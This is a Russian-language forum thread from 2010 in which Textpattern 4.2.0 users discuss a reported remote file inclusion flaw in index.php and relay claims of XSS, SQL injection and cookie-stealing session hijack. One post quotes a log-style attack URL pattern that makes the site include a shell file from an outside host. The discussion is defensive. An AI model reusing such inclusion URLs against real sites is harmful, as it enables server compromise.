Textpattern - на русском языке

форум общения русскоязычных пользователей CMS Текстпаттерн

Вы не зашли.

#1 15-09-2010 03:43:42

saymo
аз
Зарегистрирован: 15-09-2010
Сообщений: 2

У язвимость в Textpattern 4.2.0!

Путь: папка с textpattern\index.php
В строке : 141

Код : include $inc ;

На сколько я понял, ей пользуются malware(у себя в логах находил ссылки вида мой_сайт.ru/index.php?inc=сайт_шелла.jp/техтовой_файл.txt???)

Источник: http_://www.exploit-db.com/exploits/14823/

Отредактированно saymo (15-09-2010 03:45:21)

Неактивен

 

#2 15-09-2010 22:00:39

the_ghost
ять
Откуда: Минск
Зарегистрирован: 01-05-2007
Сообщений: 1957
Вебсайт

Re: У язвимость в Textpattern 4.2.0!

Суть "взлома" в том, что для того, чтобы его осуществить, необходимо ДО этого создать php скриптик в каталоге txp. Т.е. если данная "уязвимость" и возможна, то система, уже была скомпрометирована, т.к. уже есть доступ к файловой системе.

Если коротко, то эта уязвимость бессмыслена.


.      Создание шаблонов для Textpatern http://textpattern.ru/forum/viewtopic.php?id=1665 (<txp:make_template quality="best" />)
КОНСУЛЬТАЦИИ по Textpattern - ICQ#8458496, nemiga@gmail.com <txp:if_question><txp:pay /></txp:if_question>
       Список всех тегов - http://textbook.textpattern.net/wiki/in … _Reference

Неактивен

 

#3 16-09-2010 04:28:03

saymo
аз
Зарегистрирован: 15-09-2010
Сообщений: 2

Re: У язвимость в Textpattern 4.2.0!

Спасибо, успокоили. А то каждый день в логах как минимум с двух сайтов пытаются атаковать.

Неактивен

 

#4 10-11-2010 18:37:57

Gerich
земля
Зарегистрирован: 07-09-2008
Сообщений: 100

Re: У язвимость в Textpattern 4.2.0!

У меня вопрос появился по уязвимости txp. Стоит версия 4.2.0. Для некоторых посетителей я вручную создаю аккаунты с правами "Внештатник (Фрилансер)" и "Штатный писатель". Доверять могу не всем посетителям, аккаунтов много. Права доступа настроены таким образом (с помощью плагинов), что эти юзеры в админке могут только следующее:
Содержание: Написать, Написанное, Картинки.
Настройки: изменить пароль, изменить e-mail.

Вообщем сейчас мне один посетитель написал следующее, цитирую:
"Значит на сайте нашел пассивную ЦСС (при том что для изменения пароля не надо вводить старый), имеется sql иньекция"
"Самое лучшее, написать по новой сайт, без использования CMS! Сама уязвимость существует не в базе данных а в сайте!"
"Моя уязвимость позволяет попасть в Панель Textpattern под определенным пользователем, зайти я могу без пароля, ПУТЕМ ПОДМЕНЫ Cookies."
я ему ответил типа, что кукисы обычно крадутся у пользователя, причём здесь сайт?
Он пишет:
"Уязвимость заключается в том что с помощью вашего сайта можно вытянуть как раз эти куки."

Вообщем как я понимаю, он находясь в админке с правами "Внештатник (фрилансер)" может каким-то способом украсть кукисы какого-то другого пользователя или , недай бог, админа, тоесть мои личные.

А ещё недавно один пользователь подкидывал мне в камментах ссылку длинную, путь в которой начинался с http://site/textpattern... и коммент типа "админ глянь что я нашел!". Долбанные хакеры, чтоб их.

Неактивен

 

Board footer

RSS   Rambler's Top100
Powered by PunBB
Textpattern.ru